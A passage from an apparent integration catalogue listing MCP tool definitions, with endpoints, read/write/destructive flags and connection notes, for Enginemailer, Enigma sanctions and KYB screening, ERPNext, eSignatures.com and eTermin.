/api/v1/enginemailer/restapi/subscriber/emsubscriber/getSubCategory. Scopes: api. enginemailer_get_restapi_subscriber_emsubscriber_getsubscriber (read) — Get Subscriber via GET /restapi/subscriber/emsubscriber/getSubscriber. Get information about a subscriber. GET /api/v1/enginemailer/restapi/subscriber/emsubscriber/getSubscriber. Scopes: api. enginemailer_get_restapi_subscriber_emsubscriber_unsubsubscriber (write) — UnSub Subscriber via GET /restapi/subscriber/emsubscriber/unSubSubscriber. Unsubscribe existing subscriber from subscriber list. GET /api/v1/enginemailer/restapi/subscriber/emsubscriber/unSubSubscriber. Scopes: api. enginemailer_post_restapi_campaign_emcampaign_assignrecipientlist (write) — Assign Recipient List via POST /restapi/campaign/emcampaign/AssignRecipientList. Assign recipient list to the targeted campaign. Please note of the following before starting use this function Scheduled, delivering, delivered campaign is not able to perform the assigning. This function will not work when the campaign is inserting / deleting the recipient list. The subcategoryid please get from the function which named as getSubCategoryList. Paid plans only: "The campaign API only allow the PAID user to use the service." (https://enginemailer.zendesk.com/hc/en-us/articles/360003129972-Campaign-REST-API-GETTING-STARTED). A Free account receives "Free account is not eligible to use API!" (https://enginemailer.zendesk.com/hc/en-us/articles/360003892652-Errors-for-Campaign-API). POST /api/v1/enginemailer/restapi/campaign/emcampaign/AssignRecipientList. Scopes: api. enginemailer_post_restapi_campaign_emcampaign_createcampaign (write) — Create Campaign via POST /restapi/campaign/emcampaign/CreateCampaign. Creation of the campaign. Note: The user can only create campaign with the maximum number of 200. If intend to create more campaign, you are required to delete older campaigns. Paid plans only: "The campaign API only allow the PAID user to use the service." (https://enginemailer.zendesk.com/hc/en-us/articles/360003129972-Campaign-REST-API-GETTING-STARTED). A Free account receives "Free account is not eligible to use API!" (https://enginemailer.zendesk.com/hc/en-us/articles/360003892652-Errors-for-Campaign-API). POST /api/v1/enginemailer/restapi/campaign/emcampaign/CreateCampaign. Scopes: api. enginemailer_post_restapi_campaign_emcampaign_updatecampaign (write) — Update Campaign via POST /restapi/campaign/emcampaign/UpdateCampaign. Update data for existing campaign. Paid plans only: "The campaign API only allow the PAID user to use the service." (https://enginemailer.zendesk.com/hc/en-us/articles/360003129972-Campaign-REST-API-GETTING-STARTED). A Free account receives "Free account is not eligible to use API!" (https://enginemailer.zendesk.com/hc/en-us/articles/360003892652-Errors-for-Campaign-API). POST /api/v1/enginemailer/restapi/campaign/emcampaign/UpdateCampaign. Scopes: api. enginemailer_post_restapi_subscriber_emsubscriber_activatesubscriber (write) — Activate Subscriber via POST /restapi/subscriber/emsubscriber/activateSubscriber. Activate an inactive subscriber. Only applicable to the subscriber that is deactivated either through the API or manually. POST /api/v1/enginemailer/restapi/subscriber/emsubscriber/activateSubscriber. Scopes: api. enginemailer_post_restapi_subscriber_emsubscriber_batchupdatestatus (read) — Batch Update Status via POST /restapi/subscriber/emsubscriber/batchUpdateStatus. Retrieve the status for the Batch Update Subscribers job, using the ID that is returned from the API. POST /api/v1/enginemailer/restapi/subscriber/emsubscriber/batchUpdateStatus. Scopes: api. enginemailer_post_restapi_subscriber_emsubscriber_batchupdatesubscribers (write) — Batch Update Subscribers via POST /restapi/subscriber/emsubscriber/batchUpdateSubscribers. Add or Update the list of subscribers based on the custom fields and subcategories provided in the JSON data. Subscribers data that does not pass the validation will be removed from processing. Retrieve the status for the job using Batch Update Status. POST /api/v1/enginemailer/restapi/subscriber/emsubscriber/batchUpdateSubscribers. Scopes: api. enginemailer_post_restapi_subscriber_emsubscriber_deletesubscriber (write, destructive) — Delete Subscriber via POST /restapi/subscriber/emsubscriber/deleteSubscriber. Delete a subscriber, identified by email. (The vendor article's own summary line reads 'Insertion of a subscriber.', copied from Insert Subscriber.). POST /api/v1/enginemailer/restapi/subscriber/emsubscriber/deleteSubscriber. Scopes: api. enginemailer_post_restapi_subscriber_emsubscriber_insertsubscriber (write) — Insert Subscriber via POST /restapi/subscriber/emsubscriber/insertSubscriber. Insertion of a subscriber. Note: The user can only insert with the maximum number of 50/day with the free account and 10,000/day with the paid account. POST /api/v1/enginemailer/restapi/subscriber/emsubscriber/insertSubscriber. Scopes: api. enginemailer_post_restapi_subscriber_emsubscriber_updatecategory (write) — Create Update Category via POST /restapi/subscriber/emsubscriber/updateCategory. Create or modify the category and subcategories using the data provided in JSON format. POST /api/v1/enginemailer/restapi/subscriber/emsubscriber/updateCategory. Scopes: api. enginemailer_post_restapi_subscriber_emsubscriber_updatesubscriber (write) — Update Subscriber via POST /restapi/subscriber/emsubscriber/updateSubscriber. Update data for an existing subscriber. POST /api/v1/enginemailer/restapi/subscriber/emsubscriber/updateSubscriber. Scopes: api. enginemailer_post_restapi_v2_submission_report_checkexport (read) — Check Export Status Version 2 via POST /RESTAPI/V2/Submission/Report/CheckExport. You can export transactional email reports using API. Once you've initiated the export using this method, it will undergo a processing phase which may take some time to complete. Check Export Status Go to https://api.enginemailer.com/RESTAPI/V2/Submission/Report/CheckExport and use the ExportID that you received from the Export method to check the status. Please note that our REST API only accepts JSON object as a parameter list. To ensure proper authentication, you should include only one authentication parameter (APIKey) within the header. Below is an example of the response. If the export is still processing, it will display a "Processing" status. If the export is complete, it will display a "Complete" status and the URL to download the file. POST /api/v1/enginemailer/RESTAPI/V2/Submission/Report/CheckExport. Scopes: api. enginemailer_post_restapi_v2_submission_report_export (write) — Export CSV Report Version 2 via POST /RESTAPI/V2/Submission/Report/Export. You can export transactional email reports using API at this link: Please note that our REST API only accepts JSON object as a parameter list. To ensure proper authentication, you should include only one authentication parameter (APIKey) within the header. Below is an example of the response. Use the ExportID to check for the export status in here. POST /api/v1/enginemailer/RESTAPI/V2/Submission/Report/Export. Scopes: api. enginemailer_post_restapi_v2_submission_sendemail (write) — Submitting Transactional Emails via REST-API Version 2 via POST /RESTAPI/V2/Submission/SendEmail. We recommend that you use this version as the previous version will no longer be updated for new enhancements. You can submit emails by invoking the Enginemailer Email Service at https://api.enginemailer.com/RESTAPI/V2/Submission/SendEmail Please note that our REST API only accepts JSON object as a parameter list. To ensure proper authentication, you should include only one authentication parameter (APIKey) within the header. We allow users to send emails with or without templates. To create a template, please visit here. POST /api/v1/enginemailer/RESTAPI/V2/Submission/SendEmail. Scopes: api. ================================================================================ ## Enigma URL: https://www.agenticfabriq.com/integrations/enigma Section: Integrated Tools Enigma — 8 MCP tools Provider key: enigma. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. enigma_get_kyb_by_task_id (read) — Read a KYB verification task and its result via GET /v2/kyb/{task_id}, using the task id `enigma_post_kyb` returned. A task id that does not exist answers 404 {"error":true,"message":"task not found"}. GET /api/v1/enigma/v2/kyb/{task_id}. Scopes: api. enigma_post_decisions_get_many (read) — List archived screening decisions via POST /evaluation/sanctions/decisions/get_many, filtered and paginated by query parameters. Decisions exist only where case management is enabled (`configuration_overrides.general.use_case_manager` on the screening request, or `general.use_case_manager` in the account's stored configuration), so an empty list can mean 'case management is off' rather than 'nothing was screened'. POST /api/v1/enigma/evaluation/sanctions/decisions/get_many. Scopes: api. enigma_post_decisions_get_one_by_decision_id (read) — Read one archived screening decision via POST /evaluation/sanctions/decisions/get_one/{decision_id}. Decisions exist only when case management is enabled for the account or for the screening request (`configuration_overrides.general.use_case_manager`); an account that has never enabled it has nothing to read. The decision id is the `request_id` the screening response returned. POST /api/v1/enigma/evaluation/sanctions/decisions/get_one/{decision_id}. Scopes: api. enigma_post_decisions_update_one (write) — Update one archived screening decision via POST /evaluation/sanctions/decisions/update_one -- set its status, assign it to a reviewer, or attach notes. The decision is named in the BODY as `request_id`, not in the path. This writes to the account's compliance case record: a status change here is the auditable disposition of a sanctions alert, so it is a write on a shared record rather than on anything this connection owns. POST /api/v1/enigma/evaluation/sanctions/decisions/update_one. Scopes: api. enigma_post_entity_by_provider_by_collection_by_record_id_by_format (read) — Read the full profile of one watchlist entity via POST /evaluation/sanctions/entity/{provider}/{collection}/{record_id}/{format}. The four segments come from the `entity` object on a screening hit, which carries the entity id and its lookup URL, so this is the follow-up to a `enigma_post_screen` alert rather than a call made from nothing. The response carries names, aliases, date of birth, nationality, addresses, identification documents, programme designations and source-list information; `format` chooses the representation. POST /api/v1/enigma/evaluation/sanctions/entity/{provider}/{collection}/{record_id}/{format}. Scopes: api. enigma_post_kyb (write) — Start a KYB verification task for one business via POST /v2/kyb. Queries Enigma's business data -- Secretary of State records and related authoritative sets -- and optionally runs TIN/SSN checks and watchlist screening against sanctions, debarment and PEP lists. TWO MUTUALLY EXCLUSIVE REQUEST FORMS: the SINGLE form carries `name` (required) plus optional `website`, `tin`, `address` and `person`; the MULTIPLE form carries everything nested inside `data` (up to 2 names, 2 addresses, 1 website, 1 person, 1 TIN). Mixing them is refused -- by this connector by name, and by Enigma with a 400. If an `address` is given it must carry at least one of city, state or postal_code. This is a metered write: it creates a task and consumes the account's KYB quota, and the response's task id is read back with `enigma_get_kyb_by_task_id`. POST /api/v1/enigma/v2/kyb. Scopes: api. enigma_post_screen (write) — Screen customers, entities and free text against sanctions and other watchlists via POST /evaluation/sanctions/screen. `searches` is an array of search objects, each `type` one of ENTITY, TEXT, LLM_ENTITY, LLM_TEXT: an ENTITY search carries an `entity_description` (person_name, org_name, address, dob as yyyymmdd, country_of_affiliation -- each an array of strings) and a TEXT search carries a `text` string. The response carries `request_id`, an `alert` boolean, `configuration_used`, and one `search_results` entry per search with its scored `hits`. `configuration_overrides` overrides the account's stored thresholds, weights, `max_results` and `list_groups` for this one request. This is a WRITE: with case management enabled (`configuration_overrides.general.use_case_manager`) each request is archived as a decision that `enigma_post_decisions_get_many` then lists. POST /api/v1/enigma/evaluation/sanctions/screen. Scopes: api. enigma_post_views (read) — List every watchlist view this account can screen against, via POST /evaluation/sanctions/views. Takes no parameters and no body. The names it returns are what go in `configuration_overrides.list_groups` on a screening request, so this is the discovery call for the whole screening surface, and the views an account sees depend on its Enigma entitlements. NOTE THE VERB: Enigma's documentation calls this a GET, but api.enigma.com serves POST and OPTIONS on this resource and nothing else -- measured 2026-09-23, see _measurements.views_is_a_post. POST /api/v1/enigma/evaluation/sanctions/views. Scopes: api. ================================================================================ ## ERPNext URL: https://www.agenticfabriq.com/integrations/erpnext Section: Integrated Tools ERPNext — 25 MCP tools Provider key: erpnext. Scopes: api. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. erpnext_delete_api_resource_by_doctype_by_documentname (write, destructive) — Delete one document permanently. Frappe refuses the delete when another document links to it. via DELETE /api/resource/{DocType}/{DocumentName} DELETE /api/v1/erpnext/api/resource/{DocType}/{DocumentName}. Scopes: api. erpnext_delete_api_v2_document_by_doctype_by_name (write, destructive) — Delete one document permanently through Frappe's v2 route family. via DELETE /api/v2/document/{doctype}/{name} DELETE /api/v1/erpnext/api/v2/document/{doctype}/{name}. Scopes: api. erpnext_get_api_method_by_dotted_path_to_method (write) — Call any whitelisted server method by its dotted Python path, e.g. frappe.client.get_list. The method must be whitelisted in the site and the connected user must be allowed to call it. via GET /api/method/{method_path} GET /api/v1/erpnext/api/method/{method_path}. Scopes: api. erpnext_get_api_method_frappe_auth_get_logged_user (read) — Return the id of the user this connection acts as. The cheapest way to confirm a credential works and to see whose permissions the connection carries. via GET /api/method/frappe.auth.get_logged_user GET /api/v1/erpnext/api/method/frappe.auth.get_logged_user. Scopes: api. erpnext_get_api_method_frappe_integrations_oauth2_authorize (write) — The site's own OAuth 2 authorization endpoint. Answers a redirect to the sign-in and consent screens. Agentic Fabriq's own connection already runs this flow; the tool exists because the endpoint is part of the documented surface. via GET /api/method/frappe.integrations.oauth2.authorize GET /api/v1/erpnext/api/method/frappe.integrations.oauth2.authorize. Scopes: api. erpnext_get_api_method_frappe_integrations_oauth2_openid_profile (read) — The OpenID Connect userinfo endpoint: the signed-in user's profile claims for a token carrying the openid scope. via GET /api/method/frappe.integrations.oauth2.openid_profile GET /api/v1/erpnext/api/method/frappe.integrations.oauth2.openid_profile. Scopes: api. erpnext_get_api_method_logout (write) — End the current site session. This connection authenticates with a token or an API key rather than a cookie session, so there is normally nothing to end. via GET /api/method/logout GET /api/v1/erpnext/api/method/logout. Scopes: api. erpnext_get_api_resource_by_doctype (read) — List documents of one DocType, with optional field selection, filters and offset paging. `fields` and `filters` are JSON documents sent as a single query-string value, e.g. fields=["name","customer"] and filters=[["status","=","Open"]]. via GET /api/resource/{DocType} GET /api/v1/erpnext/api/resource/{DocType}. Scopes: api. erpnext_get_api_resource_by_doctype_by_documentname (read) — Read one document by its DocType and its name (Frappe's primary key). via GET /api/resource/{DocType}/{DocumentName} GET /api/v1/erpnext/api/resource/{DocType}/{DocumentName}. Scopes: api. erpnext_get_api_v2_doctype_by_doctype_count (read) — Count the documents of one DocType, optionally filtered. via GET /api/v2/doctype/{doctype}/count GET /api/v1/erpnext/api/v2/doctype/{doctype}/count. Scopes: api. erpnext_get_api_v2_doctype_by_doctype_meta (read) — Read a DocType's metadata: its fields, their types and its permissions. The call to make first when a caller does not know a DocType's shape. via GET /api/v2/doctype/{doctype}/meta GET /api/v1/erpnext/api/v2/doctype/{doctype}/meta. Scopes: api. erpnext_get_api_v2_document_by_doctype (read) — List documents of one DocType through Frappe's v2 route family. The same capability as the v1 list, on the newer path. via GET /api/v2/document/{doctype} GET /api/v1/erpnext/api/v2/document/{doctype}. Scopes: api. erpnext_get_api_v2_document_by_doctype_by_name (read) — Read one document through Frappe's v2 route family. via GET /api/v2/document/{doctype}/{name} GET /api/v1/erpnext/api/v2/document/{doctype}/{name}. Scopes: api. erpnext_get_api_v2_document_by_doctype_by_name_copy (read) — Return a copy of one document as an unsaved draft, for a caller that wants to create a near-duplicate. via GET /api/v2/document/{doctype}/{name}/copy GET /api/v1/erpnext/api/v2/document/{doctype}/{name}/copy. Scopes: api. erpnext_get_api_v2_document_by_doctype_by_name_method_by_method (write) — Call a whitelisted method that belongs to one document, without changing it. via GET /api/v2/document/{doctype}/{name}/method/{method} GET /api/v1/erpnext/api/v2/document/{doctype}/{name}/method/{method}. Scopes: api. erpnext_patch_api_v2_document_by_doctype_by_name (write) — Update the named fields of one document through Frappe's v2 route family. via PATCH /api/v2/document/{doctype}/{name} PATCH /api/v1/erpnext/api/v2/document/{doctype}/{name}. Scopes: api. erpnext_post_api_method_frappe_integrations_oauth2_get_token (write) — The site's own OAuth 2 token endpoint, for the authorization_code and refresh_token grants. Note that the path is slash-INTOLERANT: a trailing slash answers 301 and the body is dropped. via POST /api/method/frappe.integrations.oauth2.get_token POST /api/v1/erpnext/api/method/frappe.integrations.oauth2.get_token. Scopes: api. erpnext_post_api_method_frappe_integrations_oauth2_introspect_token (read) — RFC 7662 token introspection: whether a token is active, and what it carries. via POST /api/method/frappe.integrations.oauth2.introspect_token POST /api/v1/erpnext/api/method/frappe.integrations.oauth2.introspect_token. Scopes: api. erpnext_post_api_method_frappe_integrations_oauth2_revoke_token (write, destructive) — Revoke an OAuth token at the site. Destructive: a token revoked here stops working immediately, including this connection's own if its value is passed. via POST /api/method/frappe.integrations.oauth2.revoke_token POST /api/v1/erpnext/api/method/frappe.integrations.oauth2.revoke_token. Scopes: api. erpnext_post_api_method_login (write) — Start a password session on the site and receive an `sid` cookie. This integration does NOT use it: a cookie session is not a credential this connection stores or sends, so the call exists because ERPNext documents it, not because it connects anything. Note that it takes the user's password as a parameter. via POST /api/method/login POST /api/v1/erpnext/api/method/login. Scopes: api. erpnext_post_api_resource_by_doctype (write) — Create one document of the named DocType. The request body is the document's own fields, {"fieldname": value}. via POST /api/resource/{DocType} POST /api/v1/erpnext/api/resource/{DocType}. Scopes: api. erpnext_post_api_v2_document_by_doctype (write) — Create one document through Frappe's v2 route family. via POST /api/v2/document/{doctype} POST /api/v1/erpnext/api/v2/document/{doctype}. Scopes: api. erpnext_post_api_v2_document_by_doctype_by_name_method_by_method (write) — Call a whitelisted method that belongs to one document, with a request body. This is how document actions such as submit and cancel are performed, so it can change the document. via POST /api/v2/document/{doctype}/{name}/method/{method} POST /api/v1/erpnext/api/v2/document/{doctype}/{name}/method/{method}. Scopes: api. erpnext_put_api_resource_by_doctype_by_documentname (write) — Update one document in place. The body carries only the fields to change. via PUT /api/resource/{DocType}/{DocumentName} PUT /api/v1/erpnext/api/resource/{DocType}/{DocumentName}. Scopes: api. erpnext_put_api_v2_document_by_doctype_by_name (write) — Replace one document through Frappe's v2 route family. via PUT /api/v2/document/{doctype}/{name} PUT /api/v1/erpnext/api/v2/document/{doctype}/{name}. Scopes: api. ================================================================================ ## eSignatures.com URL: https://www.agenticfabriq.com/integrations/esignaturesio Section: Integrated Tools eSignatures.com — 26 MCP tools Provider key: esignaturesio. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. esignaturesio_get_api_contracts_by_contract_id (read) — Read one contract: its status, title, labels, metadata, the signed PDF's URL once it exists, and every signer with their own signing page URL via GET /api/contracts/{contract_id} GET /api/v1/esignaturesio/api/contracts/{contract_id}. Scopes: api. esignaturesio_get_api_contracts_by_contract_id_content (read) — Read the contract's document as markdown, which is what the content editing tool takes its `edits` against via GET /api/contracts/{contract_id}/content GET /api/v1/esignaturesio/api/contracts/{contract_id}/content. Scopes: api. esignaturesio_get_api_contracts_by_contract_id_placeholder_fields (read) — Read the values currently filling the contract's template placeholders via GET /api/contracts/{contract_id}/placeholder_fields GET /api/v1/esignaturesio/api/contracts/{contract_id}/placeholder_fields. Scopes: api. esignaturesio_get_api_contracts_recent (read) — List the 100 most recently created contracts on the account, each with its status and signers -- the discovery call that supplies the `contract_id` the other contract tools take via GET /api/contracts/recent GET /api/v1/esignaturesio/api/contracts/recent. Scopes: api. esignaturesio_get_api_templates (read) — List the account's contract templates with their titles and labels -- the discovery call that supplies the `template_id` a contract is created from via GET /api/templates GET /api/v1/esignaturesio/api/templates. Scopes: api. esignaturesio_get_api_templates_by_template_id (read) — Read one template with its title, labels, placeholder keys and signer field ids -- the keys a contract created from it may fill via GET /api/templates/{template_id} GET /api/v1/esignaturesio/api/templates/{template_id}. Scopes: api. esignaturesio_get_api_templates_by_template_id_collaborators (read) — List the people who may edit this template in the eSignatures.com editor via GET /api/templates/{template_id}/collaborators GET /api/v1/esignaturesio/api/templates/{template_id}/collaborators. Scopes: api. esignaturesio_get_api_templates_by_template_id_content (read) — Read the template's document as markdown, which is what the content editing tool takes its `edits` against via GET /api/templates/{template_id}/content GET /api/v1/esignaturesio/api/templates/{template_id}/content. Scopes: api. esignaturesio_post_api_contracts (write) — Create a contract from a template and send it for signature, or save it as a draft; the signers, the values that replace the template's placeholders, the signing order, the delivery methods and the multi-factor checks are all set here. Set `test` to `yes` to create a free test contract that is not legally binding and does not count against the plan via POST /api/contracts POST /api/v1/esignaturesio/api/contracts. Scopes: api. esignaturesio_post_api_contracts_by_contract_id_content (write) — Apply find-and-replace edits to a contract's markdown document; send `dry_run` first to see what each edit would match before it is committed via POST /api/contracts/{contract_id}/content POST /api/v1/esignaturesio/api/contracts/{contract_id}/content. Scopes: api. esignaturesio_post_api_contracts_by_contract_id_delete (write, destructive) — Delete a contract and the document behind it from the account via POST /api/contracts/{contract_id}/delete POST /api/v1/esignaturesio/api/contracts/{contract_id}/delete. Scopes: api. esignaturesio_post_api_contracts_by_contract_id_generate_pdf_preview (write) — Render the contract as it currently stands to a PDF and return a link to it, without sending anything to a signer via POST /api/contracts/{contract_id}/generate_pdf_preview POST /api/v1/esignaturesio/api/contracts/{contract_id}/generate_pdf_preview. Scopes: api. esignaturesio_post_api_contracts_by_contract_id_placeholder_fields (write) — Replace the values filling a contract's template placeholders, with text, markdown or another template via POST /api/contracts/{contract_id}/placeholder_fields POST /api/v1/esignaturesio/api/contracts/{contract_id}/placeholder_fields. Scopes: api. esignaturesio_post_api_contracts_by_contract_id_send_draft (write) — Send a contract that was created with `save_as_draft`, which starts the signature requests to its signers via POST /api/contracts/{contract_id}/send_draft POST /api/v1/esignaturesio/api/contracts/{contract_id}/send_draft. Scopes: api. esignaturesio_post_api_contracts_by_contract_id_signers (write) — Add a signer to an existing contract with their delivery methods, signing order and multi-factor checks, and get their signing page URL back via POST /api/contracts/{contract_id}/signers POST /api/v1/esignaturesio/api/contracts/{contract_id}/signers. Scopes: api. esignaturesio_post_api_contracts_by_contract_id_signers_by_signer_id (write) — Change one signer's name, email, mobile, company, delivery methods, signing order or multi-factor checks on a contract that has not been signed via POST /api/contracts/{contract_id}/signers/{signer_id} POST /api/v1/esignaturesio/api/contracts/{contract_id}/signers/{signer_id}. Scopes: api. esignaturesio_post_api_contracts_by_contract_id_signers_by_signer_id_delete (write, destructive) — Remove one signer from a contract, invalidating their signing page and any signature request already delivered to them via POST /api/contracts/{contract_id}/signers/{signer_id}/delete POST /api/v1/esignaturesio/api/contracts/{contract_id}/signers/{signer_id}/delete. Scopes: api. esignaturesio_post_api_contracts_by_contract_id_signers_by_signer_id_send_contract (write) — Send one signer's signature request again, by email or SMS, to a signer who has not signed yet via POST /api/contracts/{contract_id}/signers/{signer_id}/send_contract POST /api/v1/esignaturesio/api/contracts/{contract_id}/signers/{signer_id}/send_contract. Scopes: api. esignaturesio_post_api_contracts_by_contract_id_withdraw (write, destructive) — Withdraw a contract that is already out for signature, cancelling it for every signer who has not signed yet and invalidating their signing pages via POST /api/contracts/{contract_id}/withdraw POST /api/v1/esignaturesio/api/contracts/{contract_id}/withdraw. Scopes: api. esignaturesio_post_api_templates (write) — Create a reusable contract template from a markdown document, whose `{{key}}` placeholders become the fields a contract fills in via POST /api/templates POST /api/v1/esignaturesio/api/templates. Scopes: api. esignaturesio_post_api_templates_by_template_id (write) — Change a template's title or its labels via POST /api/templates/{template_id} POST /api/v1/esignaturesio/api/templates/{template_id}. Scopes: api. esignaturesio_post_api_templates_by_template_id_collaborators (write) — Invite someone by email to edit this template in the eSignatures.com editor via POST /api/templates/{template_id}/collaborators POST /api/v1/esignaturesio/api/templates/{template_id}/collaborators. Scopes: api. esignaturesio_post_api_templates_by_template_id_collaborators_by_template_collaborator_id_remove (write, destructive) — Revoke one collaborator's access to edit this template via POST /api/templates/{template_id}/collaborators/{template_collaborator_id}/remove POST /api/v1/esignaturesio/api/templates/{template_id}/collaborators/{template_collaborator_id}/remove. Scopes: api. esignaturesio_post_api_templates_by_template_id_content (write) — Apply find-and-replace edits to a template's markdown document; send `dry_run` first to see what each edit would match before it is committed via POST /api/templates/{template_id}/content POST /api/v1/esignaturesio/api/templates/{template_id}/content. Scopes: api. esignaturesio_post_api_templates_by_template_id_delete (write, destructive) — Delete a template from the account; contracts already created from it are not affected via POST /api/templates/{template_id}/delete POST /api/v1/esignaturesio/api/templates/{template_id}/delete. Scopes: api. esignaturesio_post_api_templates_by_template_id_duplicate (write) — Copy a template under a new title, optionally into ANOTHER eSignatures.com account by naming that account's Secret Token as `target_secret_token` via POST /api/templates/{template_id}/duplicate POST /api/v1/esignaturesio/api/templates/{template_id}/duplicate. Scopes: api. ================================================================================ ## eTermin URL: https://www.agenticfabriq.com/integrations/etermin Section: Integrated Tools eTermin — 70 MCP tools Provider key: etermin. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. etermin_delete_api_anchortime (write, destructive) — Use this function to delete a weekly anchortime. via DELETE /api/anchortime DELETE /api/v1/etermin/api/anchortime. Scopes: api. etermin_delete_api_anchortimedate (write, destructive) — Use this function to delete an anchortime by date. via DELETE /api/anchortimedate DELETE /api/v1/etermin/api/anchortimedate. Scopes: api. etermin_delete_api_appointment (write, destructive) — Use this function to delete an appointment in the eTermin calendar. You can either use the id of a specific appointment or the start/end parameters to delete all appointments within a specific time span. via DELETE /api/appointment DELETE /api/v1/etermin/api/appointment. Scopes: api. etermin_delete_api_appointmentsync (write, destructive) — Use this function to delete an appointment in the eTermin calendar. You can either use the id of a specific appointment or the start/end parameters to delete all appointments within a specific time span. via DELETE /api/appointmentsync DELETE /api/v1/etermin/api/appointmentsync. Scopes: api. etermin_delete_api_calendar (write, destructive) — Use this function if you want to delete a calendar via DELETE /api/calendar DELETE /api/v1/etermin/api/calendar. Scopes: api. etermin_delete_api_calendarreturntime (write, destructive) — Use this function to delete a return time by its ID. via DELETE /api/calendarreturntime DELETE /api/v1/etermin/api/calendarreturntime. Scopes: api. etermin_delete_api_calendarservice (write, destructive) — Use this function if you want to delete a calendar/service assignment via DELETE /api/calendarservice DELETE /api/v1/etermin/api/calendarservice. Scopes: api. etermin_delete_api_calendarsnonworkingtimes (write, destructive) — Use this function to delete an absence. via DELETE /api/calendarsnonworkingtimes DELETE /api/v1/etermin/api/calendarsnonworkingtimes. Scopes: api. etermin_delete_api_contact (write, destructive) — Use this function if you want to delete a contact in the eTermin CRM. You can either use the email address or the ID to delete the contact. via DELETE /api/contact DELETE /api/v1/etermin/api/contact. Scopes: api. etermin_delete_api_service (write, destructive) — Use this function if you want to delete a service. via DELETE /api/service DELETE /api/v1/etermin/api/service. Scopes: api. etermin_delete_api_servicegroup (write, destructive) — Use this function if you want to delete a service group. All services that are linked to this service group will be deleted automatically as well. via DELETE /api/servicegroup DELETE /api/v1/etermin/api/servicegroup. Scopes: api. etermin_delete_api_usermapping (write, destructive) — Usermapping is used for the number search. Use this function to update an existing entry for the number search. via DELETE /api/usermapping DELETE /api/v1/etermin/api/usermapping. Scopes: api. etermin_delete_api_voucher (write, destructive) — Use this function if you want to delete a voucher. Use one of the given parameters! via DELETE /api/voucher DELETE /api/v1/etermin/api/voucher. Scopes: api. etermin_delete_api_workingtimes (write, destructive) — Deletes a working slot via DELETE /api/workingtimes DELETE /api/v1/etermin/api/workingtimes. Scopes: api. etermin_delete_api_workingtimesdate (write, destructive) — Delete a working slot for a specific date. Only one of the following parameters are needed via DELETE /api/workingtimesdate DELETE /api/v1/etermin/api/workingtimesdate. Scopes: api. etermin_get_api_anchortime (read) — Use this function if you want to get all information about weekly anchortimes. via GET /api/anchortime GET /api/v1/etermin/api/anchortime. Scopes: api. etermin_get_api_anchortimedate (read) — Use this function if you want to get all information about anchortimes by date. via GET /api/anchortimedate GET /api/v1/etermin/api/anchortimedate. Scopes: api. etermin_get_api_appointment (read) — Use this function if you want to get all appointment details that are stored on the eTermin platform. You can use the start/end parameters the get all appointments within a specific time span or the id parameter to get the appointment details of a specific appointment.
At least one parameter is mandatory! via GET /api/appointment GET /api/v1/etermin/api/appointment. Scopes: api. etermin_get_api_appointmentdeleted (read) — Returns all appointments that got deleted during the specified time span. via GET /api/appointmentdeleted GET /api/v1/etermin/api/appointmentdeleted. Scopes: api. etermin_get_api_appointmentsync (read) — Gets all inserted (I), modified (U) and deleted (D) appointments that were modified on the eTermin platform. The parameter 'SyncStatus' contains the status of the appointment (U, I, D). You can call this function e.g. every 5 minutes to get all appointments that were added, modified or deleted within the last 5 minutes on the eTermin platform. Important: If the SyncStatus returns 'U' and the appointment does not exist in your application, please insert this appointment in your application. There can be cases that the 'SyncStatus' returns 'U' although the appointment does not yet exist in your application. via GET /api/appointmentsync GET /api/v1/etermin/api/appointmentsync. Scopes: api. etermin_get_api_bookingpagelogs (read) — Use this function if you want to get all requests of your booking page. You can only get the booking page requests of the last 30 days. via GET /api/bookingpagelogs GET /api/v1/etermin/api/bookingpagelogs. Scopes: api. etermin_get_api_calendar (read) — Returns all calendars that are available for the specific account. via GET /api/calendar GET /api/v1/etermin/api/calendar. Scopes: api. etermin_get_api_calendarreturntime (read) — Use this function if you want to get information about return times for a calendar. via GET /api/calendarreturntime GET /api/v1/etermin/api/calendarreturntime. Scopes: api. etermin_get_api_calendarservice (read) — Returns all assigned services of a calendar via GET /api/calendarservice GET /api/v1/etermin/api/calendarservice. Scopes: api. etermin_get_api_calendarsnonworkingtimes (read) — Use this function if you want to get information about absences for a calendar. via GET /api/calendarsnonworkingtimes GET /api/v1/etermin/api/calendarsnonworkingtimes. Scopes: api. etermin_get_api_contact (read) — Returns a list with all contacts that are maintained in the eTermin CRM. via GET /api/contact GET /api/v1/etermin/api/contact. Scopes: api. etermin_get_api_contactfrequency (read) — Returns the frequency setting of the contact. via GET /api/contactfrequency GET /api/v1/etermin/api/contactfrequency. Scopes: api. 